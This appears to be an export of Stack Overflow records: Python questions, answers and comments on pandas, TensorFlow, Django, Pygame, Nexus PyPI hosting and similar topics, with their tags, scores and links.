type: UnansweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84455218
favorite count: 0

http://stackoverflow.com/comment/84673623
type: Comment
type: QuestionComment
has text: instead of renaming the question as "SOLVED -", you must check mark the right answer
comment on: http://stackoverflow.com/q/48654427
score: 0

for-loop
tags question: http://stackoverflow.com/q/48726115
tags question: http://stackoverflow.com/q/48678553
tags question: http://stackoverflow.com/q/48704010
tags question: http://stackoverflow.com/q/48713128
tags question: http://stackoverflow.com/q/48706714
tags question: http://stackoverflow.com/q/48716451
tags question: http://stackoverflow.com/q/48802110
tags question: http://stackoverflow.com/q/48746692
tags question: http://stackoverflow.com/q/48651345
tags question: http://stackoverflow.com/q/48737294
tags question: http://stackoverflow.com/q/48697340
tags question: http://stackoverflow.com/q/48669409
tags question: http://stackoverflow.com/q/48653291
tags question: http://stackoverflow.com/q/48690974
tags question: http://stackoverflow.com/q/48726983
tag name: for-loop
tags question: http://stackoverflow.com/q/48668127
tags question: http://stackoverflow.com/q/48727027
tags question: http://stackoverflow.com/q/48665638
tags question: http://stackoverflow.com/q/48774671
tags question: http://stackoverflow.com/q/48687810
tags question: http://stackoverflow.com/q/48672429
tags question: http://stackoverflow.com/q/48758595
tags question: http://stackoverflow.com/q/48802835
tags question: http://stackoverflow.com/q/48740386
tags question: http://stackoverflow.com/q/48711565
tags question: http://stackoverflow.com/q/48722748
tags question: http://stackoverflow.com/q/48674254
tags question: http://stackoverflow.com/q/48697987
tags question: http://stackoverflow.com/q/48698369
tags question: http://stackoverflow.com/q/48778342
tags question: http://stackoverflow.com/q/48674478
tags question: http://stackoverflow.com/q/48711314
tags question: http://stackoverflow.com/q/48695445
tags question: http://stackoverflow.com/q/48758792
tags question: http://stackoverflow.com/q/48792755
type: Tag
tags question: http://stackoverflow.com/q/48689700
tags question: http://stackoverflow.com/q/48762797
tags question: http://stackoverflow.com/q/48716653
tags question: http://stackoverflow.com/q/48798848
tags question: http://stackoverflow.com/q/48749261
tags question: http://stackoverflow.com/q/48669010
tags question: http://stackoverflow.com/q/48775587
tags question: http://stackoverflow.com/q/48778152
tags question: http://stackoverflow.com/q/48697070

http://stackoverflow.com/q/48686528
has title: How to properly set is_training when using iterators in Tensorflow
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/48692261
has comment: http://stackoverflow.com/comment/84378091
tagged with: machine-learning
upvote count: 1
has body: I have a is_training variable which I still have to define in my main.py file like this: is_training = tf.placeholder(tf.bool, name='is_training') Then I call my inference method from another file like this (x is input): test = net.inference(x, is_training) Finally, in my session I do this: sess.run(test, feed_dict={x: test_x, is_training: True}) However, I would like to place is_training inside my inference function. Is that possible somehow?
accepted answer: http://stackoverflow.com/a/48692261
tagged with: tensorflow
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84377253
type: Question
answer count: 1
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84378239
has comment: http://stackoverflow.com/comment/84377711
tagged with: deep-learning

http://stackoverflow.com/q/48666895
linked to: http://stackoverflow.com/q/21608228
has answer: http://stackoverflow.com/a/48666896
tagged with: pandas
has title: Pandas Setting Conditional Values based on Log Result
answer count: 1
duplicate of: http://stackoverflow.com/q/21608228
has comment: http://stackoverflow.com/comment/84331555
tagged with: python
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/84331706
type: Question
has body: I have a condition like this: !(log(RevolvingUtilizationOfUnsecuredLines) &gt; 3) I want to assign all values in the Dataseries based on this condition. Something like: df.loc[np.log(df.RevolvingUtilizationOfUnsecuredLines) &gt; 3, 'WeirdRevolvingUtilization'] = 0 I can't seem to find anything using custom functions like a Log or anything, any ideas?

http://stackoverflow.com/q/48747834
has body: I have a python web project based on Pyramid. I have a confusion in deciding to use which tools I have to use to enable image uploading. I used pyramid_storage(https://github.com/danjac/pyramid_storage) to handle the image uploading before, but I haven't figured how to expire the uploaded file.
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84495540
type: Question
has title: Upload image file to cache on Pyramid
tagged with: python-3.x
tagged with: pyramid
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84495612
tagged with: python

http://stackoverflow.com/comment/84419725
has text: Even if this is the first step to get to codding I'm confused to hear that this has nothing to do with codding. However I'm deleting this one now.
score: 0
comment on: http://stackoverflow.com/q/48709246
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48760472
score: 18
has comment: http://stackoverflow.com/comment/84526575
tagged with: keras
has comment: http://stackoverflow.com/comment/84532032
possible better answer: http://stackoverflow.com/a/65567559
has comment: http://stackoverflow.com/comment/84531444
has comment: http://stackoverflow.com/comment/84523515
answer count: 3
accepted answer: http://stackoverflow.com/a/48807811
has comment: http://stackoverflow.com/comment/84527451
has comment: http://stackoverflow.com/comment/84526191
has comment: http://stackoverflow.com/comment/84609321
favorite count: 0
has answer: http://stackoverflow.com/a/65489416
tagged with: python
has comment: http://stackoverflow.com/comment/84533077
has title: How to use a Keras RNN model to forecast for future dates or events?
type: AnsweredQuestion
upvote count: 19
has answer: http://stackoverflow.com/a/48807811
downvote count: 1
tagged with: tensorflow
type: Question
linked to: http://stackoverflow.com/q/59367712
has answer: http://stackoverflow.com/a/65567559
has body: Here is my code fore training the complete model and saving it: num_units = 2 activation_function = 'sigmoid' optimizer = 'adam' loss_function = 'mean_squared_error' batch_size = 10 num_epochs = 100 # Initialize the RNN regressor = Sequential() # Adding the input layer and the LSTM layer regressor.add(LSTM(units = num_units, activation = activation_function, input_shape=(None, 1))) # Adding the output layer regressor.add(Dense(units = 1)) # Compiling the RNN regressor.compile(optimizer = optimizer, loss = loss_function) # Using the training set to train the model regressor.fit(x_train, y_train, batch_size = batch_size, epochs = num_epochs) regressor.save('model.h5') After that I have seen that most of the time people our suggesting the test dataset for checking the prediction which I have attempted as well and got good result. But the problem is in the usage of the model that I have created. I want to have a forecast for next 30 days or every minute whatsoever. Now I have the trained model but I am not getting what I can do or what code do I use to use the model and forecast the prices for next 30 days or one minute. Please suggest me the way out. I am stuck at this problem since a week and not able to make any successful attempts. Here is the link of the repository where one can find the complete runnable code, the model, and the dataset: My repository link

http://stackoverflow.com/a/48677683
type: Answer
upvote count: 1
score: 1
has body: The module 'api.models.locations' couldn't be found. It is created by the author itself, not a python package that is available/published on Pip. Solution: Ask the backend author
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48676077
answers question: http://stackoverflow.com/q/48676077

http://stackoverflow.com/q/48738795
has comment: http://stackoverflow.com/comment/84477298
tagged with: split
has body: I have a column that contains multiple genres, I am trying to split the list of genres in order to get each genre separately however, whatever I try I keep getting NaN for the entire column in the data frame. This is what the data looks like: 0 [Drama,, Romance] 1 [Animation,, Comedy,, Kids, &amp;, Family] 2 [Drama,, Mystery, &amp;, Suspense] 3 [Drama] 4 NaN 5 [Art, House, &amp;, International,, Drama] 6 [Art, House, &amp;, International,, Drama,, Romance] 7 [Documentary] 8 [Action, &amp;, Adventure,, Animation,, Art, House... 9 [Action, &amp;, Adventure,, Drama,, Western] 10 [Comedy,, Horror] I am trying to get : ["Drama", "Romance"] ["Animation", "Comedy","Kids &amp; Family"] ... I'm doing this because I want to be able to see how many unique genres there are, at the moment I can only see the unique lists but I want each unique genre. I'm not even sure if I am going about this the right way so any help is greatly appreciated. Here is my latest try: (x is equal to the data shown plus more rows) x = pd.Series(x) x = x.str.split() [i.str.split() for i in x] Thank you very much for any help!
tagged with: series
score: 0
tagged with: pandas
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48739807
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84477244
has title: Can't seem to split list in panda series?
type: Question

http://stackoverflow.com/comment/84455729
has text: I'm pretty sure that what happens is that it figures out the format on the first pass and rather than inferring the format for every date, it assumes that each subsequent date is in the same format. Parsing a known format is much faster than figuring out the format then parsing it. I think pandas has fast (i.e cython) paths for some known formats.
comment on: http://stackoverflow.com/q/48728307
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/48667491
has answer: http://stackoverflow.com/a/48668814
upvote count: 3
has comment: http://stackoverflow.com/comment/84333024
linked to: http://stackoverflow.com/q/22937618
has comment: http://stackoverflow.com/comment/84336213
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84333228
has title: Locating and extracting a string from multiple text files in Python
accepted answer: http://stackoverflow.com/a/48668814
has comment: http://stackoverflow.com/comment/84333200
answer count: 3
has answer: http://stackoverflow.com/a/48668287
tagged with: arrays
has body: I am just picking up and learning Python, For work i go through a lot of pdfs and so I found a PDFMINER tool that converts a directory to a text file. I then made the below code to tell me whether the pdf file is an approved claim or a denied claim. I dont understand how I can say find me the string that starts with "Tracking Identification Number..." AND is the 18 characters after that and stuff it into an array? import os import glob import csv def check(filename): if 'DELIVERY NOTIFICATION' in open(filename).read(): isDenied = True print ("This claim was Denied") print (isDenied) elif 'Dear Customer:' in open(filename).read(): isDenied = False print("This claim was Approved") print (isDenied) else: print("I don't know if this is approved or denied") def iterate(): path = 'text/' for infile in glob.glob(os.path.join(path, '*.txt')): print ('current file is:' + infile) filename = infile check(filename) iterate() Any help would be appreciated. this is what the text file looks like Shipper Number............................577140Pickup Date....................................06/27/17 Number of Parcels........................1Weight.............................................1 LBS Shipper Invoice Number..............30057010Tracking Identification Number...1Z000000YW00000000 Merchandise..................................1 S NIKE EQUALS EVERYWHERE T BK B WE HAVE BEEN UNABLE TO PROVIDE SATISFACTORY PROOF OF DELIVERY FOR THE ABOVE SHIPMENT. WE APOLOGIZE FOR THE INCONVENIENCE THIS CAUSES. NPT8AEQ:000A0000LDI 07 ----------------Page (1) Break---------------- update: Many helpful answers, here is the route I took, and is working quite nicely if I do say so myself. this is gonna save tons of time!! Here is my the entire code for any future viewers. import os import glob arrayDenied = [] def iterate(): path = 'text/' for infile in glob.glob(os.path.join(path, '*.txt')): print ('current file is:' + infile) check(infile) def check(filename): with open(filename, 'rt') as file_co…
possible better answer: http://stackoverflow.com/a/48668852
tagged with: parsing
favorite count: 0
has answer: http://stackoverflow.com/a/48668852
tagged with: python
has comment: http://stackoverflow.com/comment/84335237
score: 2
has comment: http://stackoverflow.com/comment/84335336
type: AnsweredQuestion

http://stackoverflow.com/comment/84382913
score: 0
type: Comment
has text: What, exactly, is `chart_data['date']` ?
type: QuestionComment
comment on: http://stackoverflow.com/q/48691083

http://stackoverflow.com/comment/84296799
has text: Note: `eval` *would* work if the appropriate names are in scope, i.e. `array` and `dtype` and `float32`. But you definitely should consider one of the options mentioned above.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48649353

http://stackoverflow.com/comment/94761898
score: 0
has text: Is the chromatic approach correct for at least the major intervals—if you pick between, say, D# and Eb based on the starting note?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48691102

zurb-foundation
tags question: http://stackoverflow.com/q/48773554
type: Tag
tag name: zurb-foundation

http://stackoverflow.com/comment/84490907
type: QuestionComment
comment on: http://stackoverflow.com/q/48745222
has text: How many permutations do you want to generate? You can store the ones you already had in a set (e.g. after concatenating the list to a string, or after turning it into a tuple) and avoid the ones you have already used.
score: 1
type: Comment

http://stackoverflow.com/q/48715812
has comment: http://stackoverflow.com/comment/84556704
has title: How to find time period over which usage was minimum over a day through database
has comment: http://stackoverflow.com/comment/84430937
has body: I'm working on a project where I monitor pressure inside a pipe once every 5 seconds in a day and store it over memory in MCU or on the cloud (this still has to be decided.) After 24 Hours I need to calculate the minimum usage over a time period from that data. So I would like if people can suggest me if there is any smart algorithm that I can read and apply it. I have low knowledge of databases so I will appreciate your views. We are going to use python and I am going to code on the raspberry pi. PS: I am noob in database algorithm so please keep that in mind.
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84431066
tagged with: database
has comment: http://stackoverflow.com/comment/84556954
type: Question
has comment: http://stackoverflow.com/comment/84556747
has comment: http://stackoverflow.com/comment/84556736
answer count: 1
tagged with: database-design
has comment: http://stackoverflow.com/comment/84463965
score: 0
has comment: http://stackoverflow.com/comment/84564096
tagged with: python
has comment: http://stackoverflow.com/comment/84430900
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48781525

http://stackoverflow.com/comment/84329186
score: 0
comment on: http://stackoverflow.com/a/48664800
type: Comment
type: AnswerComment
has text: @jp_data_analysis. But if I assign to `a` again, like in the edit, then the garbage collection cleans up the original memory, because its reference count equals zero. So in that case the original is affected.

http://stackoverflow.com/a/48716843
answers question: http://stackoverflow.com/q/48716446
downvote count: 0
type: Answer
has body: If your header contains your column names, the nicest solution is to use csv.DictReader &gt;&gt;&gt; import csv &gt;&gt;&gt; with open('names.csv') as csvfile: ... reader = csv.DictReader(csvfile) ... for row in reader: ... print(row['first_name'], row['last_name']) ... Baked Beans Lovely Spam Wonderful Spam
score: 31
upvote count: 31

http://stackoverflow.com/q/48730125
tagged with: python
tagged with: pygame
has comment: http://stackoverflow.com/comment/84459672
tagged with: attributes
downvote count: 2
type: Question
has answer: http://stackoverflow.com/a/48730266
score: -2
has body: This code is to create a walking animation. I dont know what is causing an attribute error. class player(pygame.sprite.Sprite): def init(self): pygame.sprite.Sprite.init(self) self.images = [] for i in range(1, 5): img = pygame.image.load(os.path.join('Assets','Arts','xeonsheet','xeonsheet_' + str(i) + '.png')) self.images.append(img) self.images = self.images[0] self.images = self.images.get_rect player = player() player_list = pygame.sprite.Group() player_list.add(player) Traceback (most recent call last): File "C:/Users/User/PycharmProjects/Dreamwind-Chronicles/main.py", line 121, in &lt;module&gt; player = player() File "C:/Users/User/PycharmProjects/Dreamwind-Chronicles/main.py", line 117, in init self.images.append(img) Attribute Error: 'builtin_function_or_method' object has no attribute 'append' What is the problem with the code?
answer count: 2
upvote count: 0
favorite count: 0
has title: Attribute Error: 'builtin_function_or_method' object has no attribute 'append'
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/62518427

http://stackoverflow.com/q/48668835
tagged with: swagger
type: Question
linked to: http://stackoverflow.com/q/41800330
has body: [using Python, Flask and Swagger UI] I know you can group method calls in Swagger UI, but can you group the headers that make the calls together? This is so I can make multiple sections on a Swagger UI page. Want to group teams and users together so teams becomes a sub-section to game_players
downvote count: 0
score: 1
favorite count: 0
tagged with: rest
tagged with: python
has title: How to group headers in Swagger UI?
has comment: http://stackoverflow.com/comment/84341433
answer count: 0
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/a/49749946
has body: In LDA all words are part of all topics, but with a different probability. You could define a minimum probability for your words to print, but I would be very surprised if mallet didn't come up with at least a couple of "duplicate" words across topics as well. Make sure to use the same parameters for both gensim and mallet.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48674084

http://stackoverflow.com/q/48748854
tagged with: nexus3
has answer: http://stackoverflow.com/a/48788255
has comment: http://stackoverflow.com/comment/84555623
type: Question
has title: Exceptions on search, register and install on PyPI hosted repos
score: 5
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84578186
has body: Nexus OSS 3.7.1-02 running on RHEL7, Python 2.7.5/3.4, twine version 1.9.1 (pkginfo: 1.4.1, requests: 2.8.1, setuptools: 28.8.0, requests-toolbelt: 0.8.0, tqdm: 4.19.5) I am an absolute beginner to Python and Nexus :) Hosting several PyPI repositories as shown below: Let's consider the repos. python-packaging 1.register fails [root@l4496t dist]# twine register --repository-url http://l5111t.sss.se.com:8081/repository/python-packaging/ python-packaging-2.0.tar.gz Registering package to http://l5111t.sss.se.com:8081/repository/python-packaging/ Enter your username: devjenkinsuser Enter your password: Registering python-packaging-2.0.tar.gz HTTPError: 500 Server Error: javax.servlet.ServletException: java.lang.IllegalStateException for url: http://l5111t.sss.se.com:8081/repository/python-packaging/ nexus.log: 2018-02-12 13:40:00,002+0000 INFO [quartz-3-thread-19] *SYSTEM org.sonatype.nexus.quartz.internal.task.QuartzTaskInfo - Task 'Storage facet cleanup' [repository.storage-facet-cleanup] state change WAITING -&gt; RUNNING 2018-02-12 13:40:00,003+0000 INFO [quartz-3-thread-19] *SYSTEM org.sonatype.nexus.quartz.internal.task.QuartzTaskInfo - Task 'Storage facet cleanup' [repository.storage-facet-cleanup] state change RUNNING -&gt; WAITING (OK) 2018-02-12 13:40:36,766+0000 WARN [qtp153196240-253] devjenkinsuser org.sonatype.nexus.repository.httpbridge.internal.ViewServlet - Failure servicing: POST /repository/python-packaging/ java.lang.IllegalStateException: null at org.sonatype.nexus.repository.pypi.internal.HostedHandlers.extractPayloads(HostedHandlers.java:141) at org.sonatype.nexus.repository.pypi.internal.HostedHandlers.lambda$2(HostedHandlers.java:106) at org.sonatype.nexus.repository.view.Context.proceed(Context.java:80) at org.sonatype.nexus.repository.storage.UnitOfWorkHandler.handle(UnitOfWorkHandler.java:39) at org.sonatype.nexus.repository.view.Context.proceed(Context.java:80) at org.sonatype.nexus.repository.view.handlers.ContentHeadersHandler.handle(Conte…
upvote count: 5
tagged with: nexus
tagged with: python
accepted answer: http://stackoverflow.com/a/48788255
has comment: http://stackoverflow.com/comment/84539598
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/a/48729217
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/48729163
type: AcceptedAnswer
downvote count: 0
has body: Initially, I thought it was just because you'd declared both files and folders to point to the same instance of a empty list. As the comments below show, this isn't the whole story. I don't know why isfile/isdir don't work, but changing listdir to scandir does. So, your code becomes: import os path = '/root/Downloads' files=[] folders=[] dirs = os.scandir(path) for dir in dirs: if os.path.isdir(dir): folders.append(dir) else: files.append(dir)
answers question: http://stackoverflow.com/q/48729163
type: Answer
has comment: http://stackoverflow.com/comment/84458757

http://stackoverflow.com/q/48761406
has comment: http://stackoverflow.com/comment/84523467
tagged with: django
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84523290
type: AnsweredQuestion
has body: I have included csrf_token in data while making AJAX request. But I keep getting 403 as a response when I make a POST request. I checked whether csrf_token is empty or not before making the request. Everything seems fine, what could be triggering the error? Here is my html code: {% csrf_token %} Name: Email: Password: Website: Remember me Javascript Code: $("#submit").click(function(){ var finalData = {}; finalData.name = $('#name').val(); finalData.email = $('#email').val(); finalData.pwd = $('#pwd').val(); finalData.website = $('#website').val(); finalData.csrfmiddlewaretoken = $('input[name=csrfmiddlewaretoken]').val(); $.ajax({ url: window.location.pathname, type: "POST", data: JSON.stringify(finalData), contentType: "application/json", success: function(data){ alert('Yo man'); }, error: function(xhr, status, error) { alert(xhr.responseText); } }); }); Python code: def signup(request): if request.method == 'POST': response_json = request.POST response_json = json.dumps(response_json) xy = json.loads(response_json) user = User() user.name = xy['name'] user.email = xy['email'] user.password = make_password(xy['pwd']) user.website = xy['website'] user.save() return JsonResponse({'name': 'test'}, status=200) else: context = {'dummy': 'dummy'} return render(request, 'forms/signup.html', context) Code in urls.py of my App: from django.conf.urls import url from . import views urlpatterns = [ # HomePage url(r'^$', views.index, name='index'), # Signup Page url('signup', views.signup, name='signup'), ]
type: Question
has answer: http://stackoverflow.com/a/48761978
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: ajax
has comment: http://stackoverflow.com/comment/84525125
score: 1
accepted answer: http://stackoverflow.com/a/48761978
favorite count: 0
has title: Forbidden CSRF token missing or incorrect in Django POST request even though I have csrf token in form

http://stackoverflow.com/q/48768908
has body: I have a url like below: url(r'^board/(?P&lt;pk&gt;\d+)$', board_crud, name='board_update'), I want to get current view 'board' without parameters so that i can redirect to it. I want to redirect to current view(without param) in same view(with param). Thanks in Advance.
score: 0
answer count: 1
tagged with: python-3.x
type: UnansweredQuestion
has title: Get Current Url Without Parameters in Django
has comment: http://stackoverflow.com/comment/84538598
tagged with: django
tagged with: python
tagged with: django-views
has comment: http://stackoverflow.com/comment/84538802
type: Question
linked to: http://stackoverflow.com/q/14351048
has answer: http://stackoverflow.com/a/48769058

google-cloud-functions
tag name: google-cloud-functions
tags question: http://stackoverflow.com/q/48772583
type: Tag

http://stackoverflow.com/q/48722464
tagged with: ip-address
type: AnsweredQuestion
tagged with: subnet
has body: can we create code in Python that can accept the Number of users as an input and creates an Subnetted IP with the Mask bit for an example 10.141.0.0/13 is an ip I want to add 125 users from this IP so I have to Subnet this(10.141.0.0./13) to (10.141.0.0/25) , can we create a script in Python to do this? I have a clue we can do something with the python module 'netaddr', But suggest me something to do this.
score: -4
type: Question
tagged with: network-programming
has answer: http://stackoverflow.com/a/48733407
downvote count: 4
upvote count: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48733407
has title: creating a maskbit based on the number of user count with IPAddress using python
tagged with: python

http://stackoverflow.com/a/74107819
type: Answer
upvote count: 3
score: 3
has body: There are several ways to execute a Jupyter Notebook daily, according to the article. Cron or Windows Task Scheduler You can use your operating system scheduler to execute the notebook. There are two command line tools for executing notebooks: nbconvert papermill Both are great, I personally use nbconvert, but papermill offers handful of extensions as input parameters for notebooks or automatic export to cloud storage. Mercury The open source framework Mercury is a web based application that: can execute notebook in the background, can share notebook as website, can send execute notebook as email with PDF or HTML attachment, can restrict access to notebooks to authenticated users. Notebooks available in web app Scheduled notebook PDF notebook sent in email Notebooker Notebooker is open source web app for scheduling and sharing notebooks. List of notebooks Executed notebook
downvote count: 0
answers question: http://stackoverflow.com/q/48750055

http://stackoverflow.com/q/48730214
downvote count: 0
has comment: http://stackoverflow.com/comment/84492063
has comment: http://stackoverflow.com/comment/84492065
favorite count: 0
has comment: http://stackoverflow.com/comment/84486575
has comment: http://stackoverflow.com/comment/84488688
has comment: http://stackoverflow.com/comment/84487807
has answer: http://stackoverflow.com/a/48746560
tagged with: pandas
linked to: http://stackoverflow.com/q/44917675
possible better answer: http://stackoverflow.com/a/48733605
tagged with: python
has comment: http://stackoverflow.com/comment/84488417
has answer: http://stackoverflow.com/a/48733605
has comment: http://stackoverflow.com/comment/84492643
linked to: http://stackoverflow.com/q/18528533
has title: Python/Pandas: How to create a table of results with new variables and values calculated from an existing dataframe
upvote count: 1
linked to: http://stackoverflow.com/q/36688022
has comment: http://stackoverflow.com/comment/84487020
linked to: http://stackoverflow.com/q/9535954
has comment: http://stackoverflow.com/comment/84459429
has comment: http://stackoverflow.com/comment/84492092
accepted answer: http://stackoverflow.com/a/48746560
has comment: http://stackoverflow.com/comment/84461763
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84486972
score: 1
linked to: http://stackoverflow.com/q/8356501
has body: I want to be able to create a cross table/table/dataframe (what ever the name) like this: ____________________ Performance "value" (This value must come from a X vector, which has a formula to go to dataset, calculate and return this value) ____________________ LTFU "value" (This value must come from a y vector, which has a formula to go to dataset, calculate and return this value) ____________________ Please, note that Performance and LTFU values are generated from a function applied to a .csv dataset in python. Performance and LTFU don't exist in the .csv dataset, both should be created just to allow me do a summary of performance. What I get now is as below: import pandas as pd performance=pd.read_csv("https://www.dropbox.com/s/08kuxi50d0xqnfc/demo.csv?dl=1") x=performance["idade"].sum() y=performance["idade"].mean() l = "Performance" k = "LTFU" def test(y): return pd.DataFrame({'a':y, 'b':x}) test([l,k]) a b 0 Performance x vector value here (it shows 1300, it is correct) 1 LTFU y vector value here (it shows 1300, it is wrong, it should show 14.130434782608695 instead, according to the instruction of y vector) You can copy and paste the above code to your python IDE and test and then return with your solution to me. Please, show me an example with the table results as I want.
has comment: http://stackoverflow.com/comment/84486395
has comment: http://stackoverflow.com/comment/84490477
type: Question
answer count: 2
tagged with: crosstab
tagged with: function
has comment: http://stackoverflow.com/comment/84461363

http://stackoverflow.com/comment/84478993
type: QuestionComment
comment on: http://stackoverflow.com/q/48734739
score: 0
has text: I do this but still don't work
type: Comment

http://stackoverflow.com/a/51906635
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48648352
answers question: http://stackoverflow.com/q/48648352
has body: To solve this I am created an Unix wrapper on top of my python script and source all the variables in that wrapper. I was able to import all the variables in python script.
upvote count: 1
score: 1

http://stackoverflow.com/q/48711004
downvote count: 0
has comment: http://stackoverflow.com/comment/84421052
favorite count: 0
has body: My service uses AWS DynamoDB as dependency. I want to write unit tests, but I don't know how to mock the DynamoDB service. Could anybody help me with that?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/50726698
tagged with: python
upvote count: 16
has title: How to mock AWS DynamoDB service?
tagged with: moto
tagged with: amazon-dynamodb
score: 16
type: Question
has comment: http://stackoverflow.com/comment/84421244
tagged with: boto3
answer count: 1

http://stackoverflow.com/comment/84352733
has text: But why would this affect concatenation as shown in the second commented print statement?
comment on: http://stackoverflow.com/a/48677055
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48787645
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48786715
has comment: http://stackoverflow.com/comment/84576979
answers question: http://stackoverflow.com/q/48786715
downvote count: 0
score: 1
has body: This must work. import sys array = [0,1,2,3,4,5,6] x = 0 count = 0 while x == 0: user_input = int(input("Enter 1 to move in array or 2 to exit: ")) if user_input == 1 and count &lt; len(array): print(array[count]) count = count + 1 else: count = 0 if user_input == 2: x = 1
upvote count: 1

http://stackoverflow.com/comment/84390154
type: Comment
comment on: http://stackoverflow.com/a/48695332
type: AnswerComment
has text: When you use `plt.subplot` you don't necessarily have to assign it to a value. You can set the ticks and the limits for axes from `plt` (pyplot) object. It sounds weird that it removes all your data from the plot, what backend are you using?
score: 0

http://stackoverflow.com/comment/84416408
comment on: http://stackoverflow.com/q/48708002
has text: https://stackoverflow.com/questions/7842919/python-equivalent-to-perl-pe https://stackoverflow.com/questions/38417743/are-there-anything-similar-to-perl-pe-option-in-python
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/84297876
score: 0
comment on: http://stackoverflow.com/q/48649471
type: Comment
type: QuestionComment
has text: I have updated the question and added the json as well .

http://stackoverflow.com/comment/84418569
has text: What exactly does "Doesn't work" mean? If there was an error message, you need to post it.
comment on: http://stackoverflow.com/q/48709793
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/q/48703982
upvote count: 1
tagged with: modelica
has answer: http://stackoverflow.com/a/48751663
score: 1
type: Question
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84417119
answer count: 1
downvote count: 0
favorite count: 0
tagged with: dymola
has comment: http://stackoverflow.com/comment/84418907
has title: Dymola Python Interface - simulateExtendedModel: How to set up parameters?
tagged with: python
has body: I'm trying to set up parameters and initial values via the dymola python interface. When I'm trying to set up one parameter/value it works perfectly, but when trying to set up more than one value it doesn't work. Working: output = dymola.simulateExtendedModel("Wall_to_Py.Test", 0.0, 60000.0, 3326, 0.0, "Dassl", 0.0001, 0, "TryWall", ["rCWall2.T[mNode]"], TstartWall, ["rCWall2.T[mNode]"], True) Not working: output = dymola.simulateExtendedModel("Wall_to_Py.Test", 0.0, 60000.0, 3326, 0.0, "Dassl", 0.0001, 0, "TryWall", ["rCWall2.n", "rCWall2.T[mNode]"], [nWall, TstartWall], ["rCWall2.n", "rCWall2.T[mNode]"], True) I'm using this: simulateExtendedModel(problem, startTime, stopTime, numberOfIntervals, outputInterval, method, tolerance, fixedstepsize, resultFile, initialNames, initialValues, finalNames, autoLoad) Parameters: problem (str) – Name of model, e.g. Modelica.Mechanics.Rotational.Components.Clutch. startTime (float) – Start of simulation. stopTime (float) – End of simulation. numberOfIntervals (int) – Number of output points. outputInterval (float) – Distance between output points. method (str) – Integration method. tolerance (float) – Tolerance of integration. fixedstepsize (float) – Fixed step size for Euler. resultFile (str) – Where to store result. initialNames (str[]) – Parameters and start-values to set. Dimension [:]. initialValues (float[]) – Parameter values. Dimension [size(initialNames, 1)]. finalNames (str[]) – Variables at end-point. Dimension [:]. autoLoad (bool) – Auto load result. I don't understand how the syntax has to be: initialValues (float[]) – Parameter values. Dimension [size(initialNames, 1)].
type: UnansweredQuestion

http://stackoverflow.com/comment/84601064
comment on: http://stackoverflow.com/q/48798755
score: 0
type: Comment
has text: My answer to the question [Splitting a CSV file into equal parts?](https://stackoverflow.com/questions/30947682/splitting-a-csv-file-into-equal-parts) contains a useful example of splitting a CSV file into valid "chunks". This general idea would also apply to data from a compressed source (assuming it's first uncompressed with something like `gzip`, of course).
type: QuestionComment

http://stackoverflow.com/comment/84378133
score: 0
has text: @Colin Glad to hear it! I posted a more complete answer with more comments / background if you want to accept that.
comment on: http://stackoverflow.com/q/48673380
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84525291
type: Comment
has text: Questions seeking debugging help ("why isn't this code working?") must include the desired behavior, a specific problem or error and the shortest code necessary to reproduce it in the question itself. Questions without a clear problem statement are not useful to other readers. See: How to create a [Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve). - https://stackoverflow.com/help/on-topic
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/48757322

http://stackoverflow.com/q/48771617
tagged with: python
has title: Element type within string
type: AnsweredQuestion
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/84544780
type: Question
has comment: http://stackoverflow.com/comment/84544350
has comment: http://stackoverflow.com/comment/84544341
score: -1
has answer: http://stackoverflow.com/a/48771760
accepted answer: http://stackoverflow.com/a/48771760
tagged with: types
answer count: 1
favorite count: 0
has body: I have a string with some letters , exclamation marks and numbers. As in: s='Hello World! 1,2,3!' Is there any function or simple way of retrieving the count of each character type (str, int..) within the string? Solved as: punc = string.punctuation def get_counts(s): dic = {"alpha":0, "numeric": 0, "punc":0} for l in s: if l.isalpha(): dic["alpha"]+=1 elif l.isnumeric(): dic["numeric"]+=1 elif l in punc: dic["punc"]+=1 return dic s=u'Hello World! 1,2,3!' get_counts(s) output: {'alpha': 10, 'numeric': 3, 'punc': 4} Thanks!

http://stackoverflow.com/q/48765363
has comment: http://stackoverflow.com/comment/84531176
type: UnansweredQuestion
has title: Python ignores a certain functions write properties
tagged with: python
